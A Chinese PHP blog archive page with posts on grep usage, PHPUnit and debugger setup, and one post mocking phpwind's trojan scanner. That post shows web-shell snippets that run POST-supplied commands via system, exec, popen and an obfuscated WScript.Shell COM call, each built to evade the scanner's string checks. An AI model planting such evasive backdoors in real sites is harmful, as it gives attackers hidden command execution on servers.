C++博客-教父的告白-随笔分类-PHP

PHP木马应对

暗夜教父 — Fri, 28 May 2010 08:25:00 GMT

linux下查找文件内容！find+grep（小寿原创）

#> find . -type f -exec grep 'mingtian' -l {} \;

grep -l :是显示匹配的内容的文件名字！

或者：

#> find . -type f -name "*.*" |xargs grep 'xiaoshou' -l

(这个方法不好，挺乱的，还慢，推荐前一个方法！）

phpwind开发的php木马查杀工具有何用?

22 Comments | 技术相关 | by angel | 22700 Views.

看看phpwind官方的介绍!!我不得不好奇的来看看。道怎么比魔高了？

-----------------------------------------

服务器 php 木马, 恶意程序查杀工具(适用于1.3.6 与 2.0.1 版被攻击站点的安全检测)

使用后99%可以根除您空间上的恶意程序与 php木马程序

-----------------------------------------

哎，看来phpwind的开发人员在这方面有点愚笨，我来一句一句分析一下safe.php文件的核心。

1、strpos($a,'shell_exec')!==false

如果包含shell_exec，杀

我这样绕过：

-------------

system();

-------------

passthru();

-------------

exec();

-------------

$pp = popen($_POST['command'], 'r');

$read = fread($pp, 2096);

echo $read;

-------------

$wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll') or die("PHP Create COM WSHSHELL failed");

$exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['command']."");

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput;

2、strpos($a,'eval($_')!==false

如果包含eval($_，杀

我这样绕过：

eval($a);

3、strpos($a,'move_uploaded_file($_FILES')!==false

如果包含move_uploaded_file($_FILES，杀

我这样绕过：

move_uploaded_file($a,$b);

4、strpos($a,'copy($_FILES')!==false

如果包含copy($_FILES，杀

我这样绕过：

copy($a,$b);

完了！！就这样结束了！全部绕过了！后门继续留着。唉。真的不知道这个工具有什么用，骗骗菜鸟站长

？为什么只能用在phpwind的站点？又怎么99％根除恶意程序了？？

到我这里应该是99.999999％不能根除恶意程序！！！使用这个和不使用简直没分别。希望我手头没有各

位PHPWIND站长的后门哦。不要以为有了这个safe.php就高枕无忧了。嘻嘻。道高一尺，魔绝对要高一丈

的……改变不了的事实。

暗夜教父 2010-05-28 16:25 发表评论

PHPUnit袖珍指南-第一章简介

暗夜教父 — Tue, 13 Apr 2010 11:30:00 GMT

摘要: 转自http://blog.csdn.net/summerfang/archive/2006/05/20/746219.aspx很长时间里，我对“你什么时候会为PHPUnit写一个文档”这个问题的回答是：“你不需要PHPUnit文档，去读读JUnit文档或买一本Junit的书，试一试用PHP和PHPUnit来重写Java和Junit的例子”。当我和O... 阅读全文

暗夜教父 2010-04-13 19:30 发表评论

PHPUnit袖珍指南-概述

暗夜教父 — Tue, 13 Apr 2010 11:27:00 GMT

转自http://blog.csdn.net/summerfang/archive/2006/05/20/746216.aspx

聪明的Web开发人员会告诉你，越快找到代码的错误，你就能越快修正它，长期而言，项目成本越低。好了，能最有效的检测PHP代码中的错误的工具是PHPUnit，一个开发源代码的框架，它在你不在的时候，自动进行成套的单元测试。使用PHPUnit的好处是显而易见的：

l 减少用于测试代码的工作量

l 减少总体软件缺陷

l 增加对代码的信心

l 改善你和开发源代码的团队伙伴的关系

直到现在，这个流行工具唯一的问题是缺乏文档。为了解决这个问题，O’Reilly直接找到了源头，PHPUnit口袋书指南的作者，也是PHPUnit的创造者，Sebastian Bergmann，来解决这个问题。这本书把很多难以记忆的信息，语法，PHPUnit工作的原则，统一到一起。它也带来了只有技术创造者才能提供的洞察力和睿智忠告。而且，本书也谈到了敏捷方法和极限编程中关于测试的内容。

在O’Reilly口袋书指南最近的系列中，这本快速参考书把所有的答案都带到了你的指尖。那些对测试PHP代码感兴趣的Web应用程序开发者，会觉得本书是一个无价的伴侣。

--------------------------------------------------------------------------------------------------------------

原文：

Overview

Smart web developers will tell you that the sooner you detect your code mistakes, the quicker you can fix them, and the less the project will cost in the long run. Well, the most efficient way to detect your mistakes in PHP is with PHPUnit, an open source framework that automates unit testing by running a battery of tests as you go. The benefits of PHPUnit are significant:

a reduction in the effort required to frequently test code

fewer overall defects

added confidence in your code

improved relations with your open source teammates

The only problem with this popular testing tool was its lack of documentation-until now, that is. For this, O'Reilly went right to the source, as Sebastian Bergmann, the author of PHPUnit Pocket Guide, also happens to be PHPUnit's creator. This little book brings together hard-to-remember information, syntax, and rules for working with PHPUnit. It also delivers the insight and sage advice that can only come from the technology's creator. Coverage of testing under agile methodologies and Extreme Programming (XP) is also included.

The latest in O'Reilly's series of handy Pocket Guides, this quick-reference book puts all the answers are right at your fingertips. It's an invaluable companion for anyone interested in testing the PHP code they write for web applications.

暗夜教父 2010-04-13 19:27 发表评论

zend debugger 与 zend optimizer和xdebug共存的方法

暗夜教父 — Mon, 12 Oct 2009 07:43:00 GMT

我用的是lamp集成环境是xampp，linux下是lampp，其实都是一个东西。

想改变一下自己老土的调试方式，所以试用一下zend debugger和xdebug

言归正传，如何让三者共存呢。（理论上，你用zend debugger就不必再使用xdebug，反之亦然）

xampp已经给好了zend optimizer的配置，并且xdebug也已经默认给配置好了，只是都没有启用而已

第一步：启用zend optimizer

在php.ini中，找到zend_optimizer.enable_loader，把值高为1即可

如：

[Zend]
zend_extension_ts = “D:\xampp\php\zendOptimizer\lib\ZendExtensionManager.dll”
zend_extension_manager.optimizer_ts = “D:\xampp\php\zendOptimizer\lib\Optimizer”
zend_optimizer.enable_loader = 1
zend_optimizer.optimization_level=15
zend_optimizer.license_path =
; Local Variables:
; tab-width: 4
; End:

第二步：加载zend debugger

这里是一个需要注意的地方

下载zend debugger: 地址：http://downloads.zend.com/pdt/server-debugger/，下载符合你操作系统的版本，保存到自定义的目录，例如d:/xampp/php/zenddebugger

在该目录下建立一个相应当前php版本的文件夹，如当前php版本php5.26, 即在该文件夹下建立php-5.2.x文件夹，注：此处X为真实的字符，而不是一个代表符。

将下载的debugger中相应版本的ZendDebugger.dll考到该目录下。

再配置 php.ini，加入

[Debugger]
zend_extension_manager.debug_server_ts=”D:\xampp\php\zenddebugger”
zend_debugger.allow_hosts=127.0.0.1/32,192.168.0.0/44
zend_debugger.expose_remotely=always

重启apache,查看phpinfo,如果看到

with Zend Extension Manager v1.2.0, Copyright (c) 2003-2007, by Zend Technologies
with Zend Optimizer v3.3.3, Copyright (c) 1998-2007, by Zend Technologies
with Zend Debugger v5.2.15, Copyright (c) 1999-2008, by Zend Technologies

就说明成功了

第三步：加载xdebug

我们可以以扩展形式加载xdebug,就避免了和zend optimizer冲突。

extension=php_xdebug.dll

注意php_xdebug.dll要在xampp/php/ext目录下

然后php.ini中添加的内容（xampp已经添加好，我们只需要去掉注释即可）

[XDebug]
;; Only Zend OR (!) XDebug
;zend_extension_ts=”D:\xampp\php\ext\php_xdebug.dll”
xdebug.remote_enable=true
xdebug.remote_host=127.0.0.1
xdebug.remote_port=9000
;xdebug.remote_handler=dbgp
;xdebug.profiler_enable=1
;xdebug.profiler_output_dir=”D:\xampp\tmp”

再重启apache, OK。开始测试

结果是，zend debugger可以和zend optimize共存，但xdebug不能和zend optimize共存

如果使用dll方式加载xdebug,会有错误提示。并且不再执行

暗夜教父 2009-10-12 15:43 发表评论

C++博客-教父的告白-随笔分类-PHP

PHP木马应对

PHPUnit袖珍指南-第一章 简介

PHPUnit袖珍指南-概述

zend debugger 与 zend optimizer和xdebug共存的方法

PHPUnit袖珍指南-第一章简介